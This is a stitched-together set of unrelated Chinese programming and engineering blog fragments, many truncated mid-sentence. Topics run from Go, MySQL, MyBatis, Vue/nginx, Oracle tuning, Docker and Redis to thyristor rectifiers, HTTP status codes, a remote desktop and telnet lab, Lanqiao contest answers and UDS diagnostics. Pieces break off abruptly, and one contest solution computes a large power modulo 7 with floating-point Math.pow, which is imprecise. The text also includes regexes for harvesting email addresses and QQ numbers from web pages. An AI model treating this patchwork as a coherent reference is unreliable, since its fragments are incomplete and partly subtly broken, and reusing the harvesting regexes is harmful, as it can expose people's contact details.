1、值类型:变量直接存储值,内存通常在栈中分配。
2、引用类型:变量存储的是一个地址,这个地址对应的空间才是真正的存储数据,内存通常在堆上分配,当没有任何变量引用这个地址时,该地址对应的数据空间就成了一个垃圾,由GC来回收。
3、内存的栈区和堆区:
golang默认都是采用值传递,即拷贝传递,也就是深拷贝;而引用传递则是浅拷贝。只有一些特定的类型,如:slice,map,channel,function,pointer这些天生就是引用类型,是通过引用传递的。
四、值传递和引用传递:
1、值传递:值传递是指在调用函数时将实际参数复制一份传递到函数中,这样在函数中如果对参数进行修改,将不会影响到实际参数。
2、引用传递:引用传递是指在调用函数时将实际参数的地址传递到函数中,这样在函数中如果对参数进行修改,将会影响到实际参数。
分析 电子邮箱 —个完整的Internet邮件地址由以下两个部分组成,格式如下:登录名@主机名.域名
例如:git@oschina.cn、123AAA@163.com
可以看出电子邮件中必须要有“@”,“.”以及字母
而登录名可以是:数字,字母,下划线(_),-;
QQ号码 QQ号码的识别:一般QQ号长度为5位到10位数字
直接识别5-10长度是数字,误判率超级大,随便一串数字都能识别
必须增加关键词来辅助判断例如:
QQ:123456;
QQ123456;
qq:123456;
q123456;等等
正则 电子邮箱 # 正则规则:匹配Email re_email = "[^a-zA-Z0-9_.\/]{1}([\w-]+@[-\w]+\.[-\w.]+)[^a-zA-Z0-9_.\/]{0,1}" email_lt = re.findall(re_email, self.body) # 剔除部分不符合格式的邮箱 email_lt = [e for e in email_lt if e != '' and ".." not in e] QQ号码 re_links = '[Qq]{1,2}[::]?[\s]*([1-9][0-9]{4,9})[^0-9]' chat_number_lt = list(set(re.findall(re_links, self.body))) chat_number_lt = [e for e in chat_number_lt if e != '']
连接mysql详情见https://blog.csdn.net/csdjia11/article/details/12057818
输入:mysql -uroot -p123456 即可登录MySQL,如果出现command not found: mysql,就再执行一下 source /etc/profile 让设置立即生效后再尝试
数据库相关
# 查询数据库 SHOW DATABASES; # 创建数据库 CREATE DATABASE sqlCodeTestDb; # 删除数据库 drop database willDeleteDb; # 选择数据库 use sqlCodeTestDb; 表相关
CREATE TABLE `item_order_0` ( `id` BIGINT(20) UNSIGNED NOT NULL COMMENT '主键', `user_id` BIGINT(20) UNSIGNED NOT NULL COMMENT '用户id', `shop_id` BIGINT(20) UNSIGNED NOT NULL COMMENT '店家id', `order_no` VARCHAR(50) NOT NULL COMMENT '幂等支付订单号', `order_amount` BIGINT(20) UNSIGNED NOT NULL COMMENT '订单金额(单位:分)', `status` TINYINT(3) NOT NULL DEFAULT 1 COMMENT '状态 1初始化 2支付失败 3支付成功 4已发货 5已签收', `item_id` VARCHAR(50) NOT NULL DEFAULT '0' COMMENT '商品id', `create_time` BIGINT(20) UNSIGNED NOT NULL COMMENT '创建时间', `update_time` BIGINT(20) UNSIGNED NOT NULL COMMENT '更新时间', `data` JSON COMMENT 'data 收货地址、快递单号等', PRIMARY KEY (`id`), UNIQUE KEY `uniq_idx_order_no`(`order_no`), KEY `idx_uid` (`user_id`), KEY `idx_status_time` (`status`,`update_time`), KEY `idx_uid_create_time` (`user_id`,`create_time`) ) ENGINE = InnoDB DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT ='购买商品订单表'; # 列出所有表 SHOW FULL TABLES; 插入数据
单相整流电路中应用较多的是单相桥式全控整流电路
带电阻负载的工作情况 原理图
波形图
在单相桥式全控整流电路中,晶闸管VT1,和VT4,组成一对桥臂,VT2和VT3,组成另一对桥臂。
工作原理
在uz正半周(即 a点电位高于b点电位),若4个晶闸管均不导通,负载电流为零,ua也为零,VT1,、VT4串联承受电压u2,设VT1,和VT4。的漏电阻相等,则各承受u2的一半。若在触发角α处给VT1,和 VT4加触发脉冲,VT和.VT即导通,电流从电源a端经VT1,、R、VT4。流回电源b端。
当uz过零时,流经晶闸管的电流也降到零,VT,和VT关断。
在uz负半周,仍在触发延迟角α处触发VT2和VT3,,VT2,和VT3,导通,电流从电源b端流出,经VT3,、R、VT2,流回电源a端。到u2过零时,电流又降为零,VT2和 VT3,关断。此后又是VT1,和 VT3。导通,如此循环地工作下去,整流电压ud和晶闸管VT1、VT4,两端电压波形分别如图b和c所示。
晶闸管承受的最大正向电压和反向电压分别为√2U,和√2/2U。
整流电压平均值
向负载输出的直流电流平均值为
带感阻负载的工作情况 原理图
波形图
工作原理
和以上阻性负载工作方式相同,由于加上电感,正向导通时,VT1,VT4关闭之后,电感会自动释放储存的电荷,自然会有负半周期的放电情况。
整流电压平均值
带电阻负载的工作情况 原理图
波形图
在分析整流电路工作时,认为晶闸管(开关器件)为理想器件,即晶闸管导通时其管压降等于零,晶闸管阻断时其漏电流等于零。除非特意研究晶闸管的开通、关断过程,一般认为晶闸管的开通与关断过程瞬时完成。
工作原理 改变触发时刻,ud和id波形随之改变,直流输出电压u为极性不变但瞬时值变化的脉动直流,其波形只在u2正半周内出现,故称“半波”整流。加之电路中采用了可控器件——晶闸管,且交流输人为单相,故该电路称为单相半波可控整流电路。整流电压u波形在一个电源周期中只脉动1次,故该电路为单脉波整流电路。
从晶闸管开始承受正向阳极电压起,到施加触发脉冲止的电角度称为触发延迟角,用α表示,也称触发角或控制角。晶闸管在一个电源周期中处于通态的电角度称为导通角,用0表示,0 = T-α。直流输出电压平均值为
α =0时,整流输出电压平均值为最大,用Ug表示,U=Ug=0.45U,。随着α增大,U减小,当α=T时,U。=0,该电路中VT的α移相范围为0°~180°。可见,调节α角即可控制U。的大小。这种通过控制触发脉冲的相位来控制直流输出电压大小的方式称为相位控制方式,简称相控方式。
2.带阻感负载的工作情况 原理图
波形图
工作原理
上图d)出现了出现负半周期,电感在正半周期储存的电荷,需要在负半周期释放掉。为了解决这个问题.为解决上述矛盾在整流电路的负载两端并联一个二极管,(称为续流二极管,用VDR表示,如图3-4a所示。图3-4b ~g 是该电路的典型工作波形。
带阻感负载增加续流二极管的工作情况 原理图
工作波形
在一周期内,wt=α~π期间,VT 导通,其导通角为t-α,Id流过 VT,晶闸管电流的波形如图所示,其余时间Id过流过 VDR,续流二极管电流 iv波形如图 3-4f所示,VD 的导通角为π+α。若近似认为为一条水平线,恒为Id,则流过晶闸管的电流平均值 Iv 和有效值分别为
续流二极管的电流平均值ⅠavdR和有效值ⅠvDR分别为.
单相半波可控整流电路的特点是简单,但输出脉动大,变压器二次电流中含直流分量,造成变压器铁心直流磁化。为使变压器铁心不饱和,需增大铁心截面积,增大了设备的容量。实际上很少应用此种电路。分析该电路的主要目的在于利用其简单易学的特点,建立起整流电路的基本概念。
可以对主类使用@MapperScan注解来指定扫描@Mapper接口的类路径,在@MapperScan注解通过@Import(MapperScannerRegistrar.class)导入了MapperScannerRegistrar组件。这个类实现了ImportBeanDefinitionRegistrar接口的registerBeanDefinitions方法,在方法中会扫描使用了@Mapper注解的接口,创建代理对象。
@Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @Import(MapperScannerRegistrar.class) public @interface MapperScan { String[] value() default {}; String[] basePackages() default {}; Class<?>[] basePackageClasses() default {}; Class<? extends BeanNameGenerator> nameGenerator() default BeanNameGenerator.class; Class<? extends Annotation> annotationClass() default Annotation.class; Class<?> markerInterface() default Class.class; String sqlSessionTemplateRef() default ""; String sqlSessionFactoryRef() default ""; Class<? extends MapperFactoryBean> factoryBean() default MapperFactoryBean.class; } 在registerBeanDefinitions中先获取@MapperScan注解的元数据,定义扫描的规则,设置扫描接口的包路径。
public void registerBeanDefinitions(AnnotationMetadata importingClassMetadata, BeanDefinitionRegistry registry) { AnnotationAttributes annoAttrs = AnnotationAttributes.fromMap(importingClassMetadata.getAnnotationAttributes(MapperScan.class.getName())); ClassPathMapperScanner scanner = new ClassPathMapperScanner(registry); // this check is needed in Spring 3.
前言 在嵌入式领域、或者无键盘的WINDOWS显示时,就需要用到软键盘。经过笔者的调研,QT软键盘的方案主要有以下几种。
一.使用QT自带的软键盘 在QT官方Demo中有示例,且必须安装虚拟键盘模块。
参考https://blog.csdn.net/qq_41340733/article/details/125443595
使用自带键盘的不足之处是,可调整的控件样式和位置有限。
二.使用第三方开发的键盘和输入法 Github上有两个比较好的项目,可供参考。这些键盘集成了一个汉字库,然后进行搜索,或者集成了谷歌拼音。代码相对复杂一些。
https://github.com/xiaoyanLG/Soft-keyboard
https://github.com/aeagean/QtKeyboard
三.自己开发键盘界面,然后调用WINDOWS接口,从而调用搜狗输入法、百度输入法等 这种类似windows的屏幕键盘(ctrl+win+o),网上少有文章阐述了这种方案,目前只找到这一篇。https://www.cnblogs.com/mengxiangdu/p/16926418.html
不调用Windows API的话没法实现,因为使用postEvent和sendEvent发送输入事件时,程序会崩溃。暂时不知道原因。
原因 vue进修build打包之后vue.config进行的反向代理配置不会一起打包进dist文件中从而导致部署之后访问接口会返回404的错误
直接进行部署在线上访问时接口出现404错误
解决方法 例如 vue本地反向代理配置如下
devServer: { port: 9999, // 端口号,如果端口号被占用,会自动提升1 host: 'localhost', //主机名 https: false, //协议 open: true, //启动服务时自动打开浏览器访问 hot: true, // 开启热加载 hotOnly: false, proxy: { // 开发环境代理配置 '/pro-api': { // 目标服务器地址,代理访问 http://localhost:8001 //从localhost:8888/dev-api/xxxx 转发到 target目标服务器 target: http://localhost:8001, changeOrigin: true, // 开启代理服务器, secure: true, pathRewrite: { // /pro-api/db.json 最终会发送 http://localhost:8001/db.json // 将 请求地址前缀 /dev-api 替换为 空的, '^/pro-api': '', }, }, }, }, 需要在服务器发布的时候配置nginx代理配置
location /pro-api {//在vue中配置的 /dev-api proxy_pass http://localhost:8001;#代理目标的链接 proxy_connect_timeout 60; proxy_read_timeout 60; proxy_send_timeout 60; } 配置完之后接口就可以正常访问了
一、CPU高分析 1.CPU负载分析 CPU总体使用率:最高时12%。Cpu(s):12%us. 当前是:Cpu(s):8.4%us。
这个值在70%以下,都是合理的。%CPU列是单个CPU核占用的CPU百分比。当前系统24核,48CPU。CPU%列的所有值累计不超过4800*70%=3360.
当前是:96.5+53.1+44.8+44.5+39.9+37.2+29+26+19.4+11
我们计算出来的值是:8.3625%,与图中CPU的总体使用 Cpu(s):8.4%us相吻合。
由此可知,当前CPU总体使用率8.4%,小于CPU的瓶颈值Cpu(s):70%us.所以即使有单个CPU占用100%,我们认为是正常的,当SQL正在运行时会出现CPU%列100%的情形。
2.数据写入进程分析 当前数据库有6个数据写入进程,并发向数据文件写入数据。这6个进程对应操作系统6个oracle进程。再加上一个日志写入进程,还有其他的用户进程,就会出现多个进程占用CPU较高的现象。
3.日志分析 由上图可以看到,日志文件大小100M过小,日志只有三个组,1s内有6次切换,日志切换非常频繁,需要增加日志文件的大小,同时增加日志的组数。
一般建议的日志每10~15分钟切换一次较为合理,且最大大小一般不超过4G。日志切换也需要消耗一定的资源,影响数据库的性能,建议先将日志文件增加到至少5组,每组大小设置为1G。
同时可以由归档情况可以推测,在夜晚跑批时:400M/每秒 的日志产生量。
4.连接分析 由该图可以看到日志写入进程只有一个。由进程数可推断同时在线有309人,或者中间件连接池设置为300左右。中间件连接池一个连接对应于操作系统后台一个LOCAL=NO的连接。
5.日志产生量分析 由上图可以知道白天业务时间,大约 300KB/s 的日志产生量。日志缓冲区(log_buffer)的大小是60M。
6.日志切换分析 晚上数据库跑批时,产生的日志量是:361M/s
7.业务高峰日志分析 晚上数据库跑批时,产生的日志量是:361M/s ,日志缓冲区会频繁刷盘,由于日志缓冲区1/3满就会刷入到磁盘,由此可见夜晚跑批时,每秒刷盘:360M/(60*1/3)=360/20=18次。
日志缓冲区存在的目的就是为了减少刷入磁盘的次数,写入较多的日志时,一次刷入。内存写入效率高,磁盘写入效率低。要减少刷盘的次数,可以适当增加日志缓冲区的大小。
当前日志缓冲区60M,可以调整为254M。
8.SQL分析 上图是今天9:30-9:45分数据库AWR报告抓取情况。由图可以知道,SQL运行正常,无慢SQL。
9.内存分析 由图可以,内核参数中设置的共享内存段的值是:37.7G。缓存中剩余内存26G。交换内存使用9.2G。一旦使用交换内存SWAP分区较多,则认为内存遇到瓶颈,我们认为系统内存不足。可适当增加内存。
由于系统内存不足,当需要内存用于计算时会将部分缓冲的内容移动到SWAP分区,从SWAP分区中访问或者重新交换到内存,这样明显降低系统运行效率。访问SWAP分区,相当于访问磁盘,效率极低。
二、总结与优化建议 1.CPU使用情况 CPU使用率合理。
2.优化建议 2.1如果条件允许可以将内存换成128G的。
2.2日志文件和日志缓冲区的大小可以设当调整。
日志文件建议:5-10组,每组1G,日志缓冲区设置为:254M。
建议先修改日志文件大小和组数,观察性能是否有大的提升。如果有较大提升则不改日志缓冲区。如果性能提升较小,再适当调整日志缓冲区大小,再观察性能是否提升。
三、该节点MySQL内存分析
innodb_buffer_pool_size=21474836480=20G .
Total large memory allocated 21988638720 =20G .
Dictionary memory allocated 47611400=45M .
Buffer pool size 1310720=页的总数,合计:20G。
Free buffers 1023=Free列表页的数量=16M
Database pages 1282153==19.56G=LRU列表页的数量
Old database pages 473275=7.
问题描述:当我按照下图操作时,报了999999的错误。
解决方法是:把区域字段换成FID居然就可以了。如果还不行的话 ,要记得输出表的位置也改成系统默认的,路径都是英文。
使用Docker解决microK8s registry.k8s.io/pause:3.7镜像拉取失败问题 1. 安装docker apt update apt install docker.io 2. 查找镜像 root@testk8s:/home/test/下载# docker search pause:3.7 NAME DESCRIPTION STARS OFFICIAL AUTOMATED hongshixing/pause fork from k8s.gcr.io/pause:3.7 0 qazwsxqwe123/pause k8s.gcr.io/pause:3.7 0 3. 下载镜像 root@testk8s:/home/test/下载# docker image pull qazwsxqwe123/pause:3.7 3.7: Pulling from qazwsxqwe123/pause 7582c2cc65ef: Pull complete Digest: sha256:445a99db22e9add9bfb15ddb1980861a329e5dff5c88d7eec9cbf08b6b2f4eb1 Status: Downloaded newer image for qazwsxqwe123/pause:3.7 docker.io/qazwsxqwe123/pause:3.7 4. 输出镜像包 root@testk8s:/home/test/下载# docker image list REPOSITORY TAG IMAGE ID CREATED SIZE qazwsxqwe123/pause 3.7 221177c6082a 11 months ago 711kB root@testk8s:/home/test/下载# docker image tag qazwsxqwe123/pause:3.
在大数据数仓实践过程中,hadoop技术栈充当了非常重要的环节,很多大数据平台,中台都是基于hive+hadoop+spark来搭建的,所以我们对于hadoop的编译,构建,安装是需要掌握的非常清楚。
而我们大数据的研发人员比较常用mac电脑来开发,mac 最新的 m1/m2 arm版本的系统在编译hive/hadoop的过程中会遇到protobuf编译失败的问题。
下面就是在编译过程中,遇到的问题,希望能给大家带来清晰的指导
在arm上编译protoc,出现异常 [INFO] ------------------------------------------------------------------------ [ERROR] Failed to execute goal org.xolstice.maven.plugins:protobuf-maven-plugin:0.5.1:compile (default-cli) on project hadoop-hdfs: Missing: [ERROR] ---------- [ERROR] 1) com.google.protobuf:protoc:exe:osx-aarch_64:3.7.1 [ERROR] [ERROR] Try downloading the file manually from the project website. [ERROR] [ERROR] Then, install it using the command: [ERROR] mvn install:install-file -DgroupId=com.google.protobuf -DartifactId=protoc -Dversion=3.7.1 -Dclassifier=osx-aarch_64 -Dpackaging=exe -Dfile=/path/to/file [ERROR] [ERROR] Alternatively, if you host your own repository you can deploy the file there: [ERROR] mvn deploy:deploy-file -DgroupId=com.
Redis为什么可以做缓存? 1.Redis将其数据库完全保存在内存中,仅使用磁盘进行持久化。与其它键值数据存储相比,Redis有一组相对丰富的数据类型。Redis可以将数据复制到任意数量的从机中。2.异常快 - Redis非常快,每秒可执行大约110000次的设置(SET)操作,每秒大约可执行81000次的读取/获取(GET)操作。支持丰富的数据类型 - Redis支持开发人员常用的大多数数据类型 ,例如列表,集合,排序集和散列等等。这使得Redis很容易被用来解决各种问题,因为我们知道哪些问题可以更好使用地哪些数据类型来处理解决。3.操作具有原子性 - Redisd的所有操作都是原子操作,这确保如果两个客户端并发访问,Redis服务器能接收更新的值。4.Redis是一个内存数据库,但在磁盘数据库上是持久的,因此它代表了一个不同的权衡,在这种情况下,在不能大于存储器(内存)的数据集的限制下实现非常高的写和读速度5.redis支持多种数据结构, 1)Redis不仅仅支持简单的k/v类型的数据,同时还提供list,set,zset,hash等数据结构的存储。2)Redis支持master-slave(主-从)模式应用3)Redis支持数据持久化,可以将内存中的数据保持在磁盘中,重启的时候可以再次加载进行使用。4)Redis单个value的最大限制是1GB,memcached只能保存1MB的数据。
/*
* pm_wakeup.h - Power management wakeup interface
*
* Copyright (C) 2008 Alan Stern
* Copyright (C) 2010 Rafael J. Wysocki, Novell Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
ssm速成 此文对狂神说ssm整合 进行解读
mybatis 学习+测试 pojo.Books
@AllArgsConstructor @NoArgsConstructor @Data public class Books { private int bookId; private String bookName; private int bookCounts; private String detail; } mybatis.xml核心文件
设置连接用户名密码要访问的数据库名字关联映射文件 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> <configuration> <environments default="development"> <environment id="development"> <transactionManager type="JDBC"/> <dataSource type="POOLED"> <property name="driver" value="com.mysql.jdbc.Driver"/> <property name="url" value="jdbc:mysql://localhost:3306/ssmbuild?useSSL=true&useUnicode=true&characterEncoding=utf8"/> <property name="username" value="root"/> <property name="password" value="root"/> </dataSource> </environment> </environments> <!--关联mapper映射文件--> <mappers> <mapper resource="com/oxt/dao/BookMapper.xml"/> </mappers> </configuration> 编写dao.
毫米波雷达的距离分辨率 结论推导推论 结论 LFMCW毫米波雷达的测距分辨率与且仅与扫频带宽有关,具体的数学公式如下:
R a n g e r e s o l u t i o n = c 2 × B Range_{resolution} = \frac{c}{2\times B} Rangeresolution=2×Bc
其中 B 为扫频带宽,c为光速。
推导 根据LFMCE雷达测距原理,目标距离R和中频信号频率f有如下关系
t × S = f I F ⟺ 2 R c × s = f I F ⇒ R = c 2 s × f I F 其中 t 为接收时间, S 为扫频斜率, f I F 为中频信号 , R 为目标距离。 \begin{array}{c} t \times S = f_{IF} \Longleftrightarrow \frac{2R}{c}\times s = f_{IF} \Rightarrow R= \frac{c}{2s}\times f_{IF} \\ \\ \text{其中} t 为接收时间,S为扫频斜率,f_{IF}为中频信号,R为目标距离。 \end{array} t×S=fIF⟺c2R×s=fIF⇒R=2sc×fIF其中t为接收时间,S为扫频斜率,fIF为中频信号,R为目标距离。
set_xscale 啥意思,上网找半天没看明白,自己跑了一下代码,终于搞清楚了。
set_xscale 意为设置x轴缩放比例,设置为‘linear’时,x轴是均匀分布的;设置为‘log’时,x轴比例尺逐渐增大,从下面结果图可以看出。
import matplotlib.pyplot as plt from matplotlib.ticker import EngFormatter import torch xs = torch.arange(0, 1, 0.1) ys = torch.randperm(100)[:10] # fig, axes = plt.subplots(2, sharex=True, sharey=True) fig, axes = plt.subplots(2) # x轴设置不同的缩放比例(如果设置sharex=True,则xscale缩放比例失效) axes[0].set_xscale('linear') axes[1].set_xscale('log') formatter = EngFormatter(unit='Hz') for ax in axes: ax.xaxis.set_major_formatter(formatter) ax.plot(xs, ys) plt.show()
七牛云存储 获取访问权限和存储区域的接口 在之前开发PicHoro和最近开发PicList的过程中,有一个困扰了我比较久的问题是官方文档中并没有找到能直接获取存储空间的访问权限和存储区域的接口,所以只能让用户去手动设置,十分的不方便。
分析七牛云的网页端的后台请求记录,发现其使用https://portal.qiniu.com/api/kodov2/uc/v2/bucketInfo?bucket=picli&fs=true来返回一个存储空间的详细信息,结合官方文档的其它API分析,推测通用的API地址是https://uc.qiniuapi.com,经过测试果然可行~
其中,返回数据内的private字段就对应了空间的访问权限,其中0代表公开,1代表私有;zone和region字段对应了空间的存储区域。
POST 获取存储空间信息 POST /v2/bucketInfo
Host uc.qiniuapi.com
请求参数 名称位置类型必选说明bucketquerystring是存储空间名fsquerystring是noneAuthorizationheaderstring是管理凭证Content-Typeheaderstring是application/jsonHostheaderstring是none 返回示例
成功
{ "fragment_opt": { "fragment_size": 0, "ignore_etag_check": false }, "protected": 0, "separator": "-", "transcode_styles": null, "styles": null, "refresh_time": 0, "refer_wl": null, "refer_bl": null, "no_refer": false, "source_enabled": false, "anti_leech_mode": 0, "private": 0, "no_index_page": 1, "cdn_auto_refresh": false, "cdn_auto_refresh_styled": false, "cdn_auto_refreshed_styles": null, "prefer_style_as_key": false, "max_age": 0, "gzip_close": false, "no_max_age": false, "mac_key": "", "mac_key2": "", "token_anti_leech": 0, "channel": null, "
HTTP响应状态码分类 1XX:100-199 信息响应 2XX:200-299 成功响应 3XX:300-399 重定向 4XX:400-499客户端错误 5XX:500-505 服务器端错误 一、信息响应 1、100 Continue(持续):这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。
2、101 Switching Protocol(交换协议):该代码是响应客户端的Upgrade(en-US)标头发送的,并且指示服务器也正在切换的协议。
3、102 Processing(WebDAV(en-US))(处理):此代码表示服务器已收到并正在处理该请求,但没有响应可用。
4、103 Early Hints(早期提示):此状态代码主要用于与Link链接头一起使用,以允许用户代理在服务器仍在准备响应时开始预加载资源。
二、成功响应 1、200 OK:请求成功,成功的含义取决于HTTP方法
(1)GET:资源已被提取并在消息正文中传输
(2)HEAD:实体标头位于消息正文中
(3)POST:描述动作结果的资源在消息体中传输
(4)TRACE:消息正文包含服务器收到的请求消息
2、201 Created(创建):该请求已成功,并因此创建了一个新的资源。这通常是在POST请求,或是某些PUT请求之后返回的响应。
3、202 Accepted(认可的):请求已经接收到,但还未响应,没有结果。意味着不会有一个异步的响应去表明当前请求的结果,预期另外的进程和服务区处理请求,或者批处理。
4、203 Non-Authoritative Information(非授权信息):服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超集。使用此状态码不是必须的,而是只有在响应不使用此状态码便会返回200 Ok的情况下才是合适的。
5、204 No Content(无内容):服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。
6、205 Reset Content(重置内容):服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。
三、重定向 1、300 Multiple Choice(多项选择):被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。
2、301 Moved Permanently(永久移除):被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URL之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
3、302 Found(建立):请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
4、303 See Other(参见其他):对应当前请求的响应可以在另一个 URI 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。
5、304 Not Modified(未修改):如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304 响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。
6、305 Use Proxy(使用代理):被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。
远程桌面 首先在VMware中打开两台虚拟机
在虚拟机设置中将两台虚拟机的网络模式改为自定义,并且都选择VMnet1
打开第一台虚拟机(此处我们一台用Windows2003,一台用Windows XP)
右击我的电脑—属性—远程—启用这台计算机上的远程桌面
对虚拟机的IP地址进行配置
右击网上邻居—属性—右击本地连接—属性—双击Internet协议
打开后选择“使用下面的IP地址”,此处可以填写IP地址为10.0.0.1,tab键可以自动填充子网掩码,此处为了减少扫描时间,我们将子网掩码设置为255.255.255.0 。点击确定保存
在Windows XP中也是同样的操作,IP地址设置为10.0.0.2
在XP中,在命令提示符中输入mstsc,打开远程桌面连接,输入Windows 2003 的IP地址,连接
在XP中出现如下界面则表示远程连接成功
我们可以直接输入管理员用户名和密码进行操作,如果不想给予太高权限,我们可以在Windows2003中创建一个普通用户,并将其添加至远程桌面管理组中
右击我的电脑—管理—用户—右击—创建新用户,输入用户名和密码,取消勾选“用户下次登录时须更改密码”
打开组—双击Remote Desktop Users—添加用户,将刚刚创建的用户添加进来
即可实现远程登录普通用户账号
telnet 在命令提示符窗口输入services.msc打开服务,找到telnet并启用
右击我的电脑—管理—组,找到telnetclients属性,打开后将用户添加进来
在XP中打开命令提示符,输入cmd,在窗口中输入telnet 10.0.0.1(Windows 2003 的IP地址),回车就会出现如下窗口
连接成功,可以通过命令行来操控另一台计算机。
https://www.cnblogs.com/qt-fei/p/15741196.html
1. 数据量少且固定,利用数组的shift 和 push方法模拟轮播效果 <template> <div class="home"> <div id="chart" class="box"></div> </div> </template> <script> export default { name: 'home', data() { return { timer: null, } }, mounted() { this.barChart() }, beforeDestroy() { this.timer && clearInterval(this.timer) }, methods: { barChart() { let mychart = this.$echarts.init(document.getElementById('chart')) console.log(mychart, '----') // 控制显示几个柱子 const [startValue, endValue] = [0, 3] // 数据 const data = [ { name: 'Mon', vaule: 120 }, { name: 'Tue', vaule: 200 }, { name: 'Wed', vaule: 150 }, { name: 'Thu', vaule: 80 }, { name: 'Fri', vaule: 40 }, { name: 'Sat', vaule: 110 }, { name: 'Sun', vaule: 120 }, ] const xAxisData = data.
如标题文章,本身方式很简单,留个记录。利用管道符与pbcopy指令即可
cat .ssh/id_rsa.pub | pbcopy 上述指令就能直接复制id_rsa.pub文件的内容,⌘+V 便能直接粘贴该内容
试题 A: 星期计算【填空题】 题目: 答案:7 解析: 此题直接对7求余即可。
public class Main { public static void main(String[] args) { System.out.println(Math.pow(20, 22) % 7 + 6); } } 贴一个BigInteger的代码
import java.math.BigInteger; public class Main { public static void main(String[] args) { BigInteger bg = new BigInteger(20+""); BigInteger res = bg.pow(22).remainder(BigInteger.valueOf(7)).add(BigInteger.valueOf(6)); System.out.println(res); } } 试题 B:【填空题】 题目: 答案:3138 这题我知道很多人把题目都给看错了,我认识好几个都是只看到了回文,没看到还有单调的条件。(大佬们都忙着做后面的题)
解析: 读题可以知道,回文数左右对称,所以只需判断是否回文,然后再判断左边的数单调不减,则右边的数一定单调不增。判断回文数可以使用双指针判断。
public class Main { public static void main(String[] args) { long start = System.
从成本等角度考虑,汽车ECU中用于缓存诊断服务数据的buffer大小有限,所以当我们需要读取或写入超过buffer大小的数据时,就无法简单地使用2E和22服务了,UDS据此定义了几个将大块数据写入或读出的服务,即数据下载和上传。
UDS的第六类诊断服务:存储数据传输。该类型服务包含SID如下:
RequestDownload (0x34):请求下载数据,诊断仪向ECU请求下载数据
RequestUpload (0x35):请求上传数据,诊断仪向ECU请求上传数据
TransferData (0x36):数据传输,诊断仪向ECU传数据(下载),或者ECU向诊断仪传数据(上传)
RequestTransferExit (0x37):数据传输完成,请求退出
RequestFileTransfer (0x38):请求文件传输,可以用于替代上传下载的服务
1. RequestDownload (0x34) service
该服务用于启动下载传输,作用是告知ECU准备接受数据,ECU则通过0x74 response告诉诊断仪自己是否允许传输,以及自己的接受能力是多大。
1.1 请求格式
由上图可知,请求格式分为5部分
第一部分:请求SID(1byte):0x34
第二部分:dataFormatIdentifier(1byte):这里面标识了数据格式相关的信息,比如数据是否有压缩,是否有加密,用的什么算法加密等,由主机厂与供应商约定好,用哪个bit来表示压缩、加密等信息。
第三部分:addressAndLengthFormatIdentifier(1byte):该参数是代表后续的两个部分memoryAddress和memorySize所占的字节长度。addressAndLengthFormatIdentifier的低4bit表示memoryAddress,高4bit表示memorySize。如:memoryAddress参数占用0xm个字节,memorySize参数占用0xn个字节,则addressAndLengthFormatIdentifier值为0xnm
第四部分:memoryAddress(m个byte):诊断仪向ECU请求下载写入数据的逻辑地址值。如:诊断仪请求ECU写入数据的内存逻辑地址为0x12345678(memoryAddress占4个字节),则memoryAddress值为0x12345678,对应addressAndLengthFormatIdentifier低4bit值为0x04.
第五部分:memorySize(n个字节):诊断仪向ECU请求下载写入数据的字节数。如:诊断仪写入ECU数据的字节数为0x01234567(memorySize占4字节),则memorySize值为0x01234567,对应的addressAndLengthFormatIdentifier高4bit值为0x4。
1.2 响应格式
由上图可知响应格式分为三个部分
第一部分:response SID (1byte): 0x74
第二部分:lengthFormatIdentifier(1byte):高4bit为maxNumberOfBlockLength有效字节长度,低4bit保留为0.
lengthFormatIdentifier每半个字节单独编码。高半字节指定maxNumberOfBlockLength,低半字节设置为0保留。
maxNumberOfBlockLength长度取决于lengthFormatIdentifier的高半字节,此参数包括完整的消息长度(服务ID+blocksequencecounter(1字节))
第三分部:maxNumberOfBlockLength:字节长度不定,表示0x36服务一次传输一个block的最大的字节数。如:maxNumberOfBlockLength=0x202,则应用层36服务一次最多发送字节数为0x202(字节数:0x202 >= 36 (1byte)+ parameter(x个byte))。后续36服务会细讲。
1.3 举例
诊断仪向ECU请求下载数据,dataFormatIdentifier值为0x00,该值有厂家或供应商协商制定,此处暂定为0x00。memoryAddress值为0x0x12345678(占4个字节),memorySize值为0x01234567(占4字节),则addressAndLengthFormatIdentifier值为0x44(该值计算方式上述请求格式中以说明)。
上图中不同颜色代表不同的参数
橙色:addressAndLengthFormatIdentifier(0x44)
紫色:memoryAddress(0x12345678)
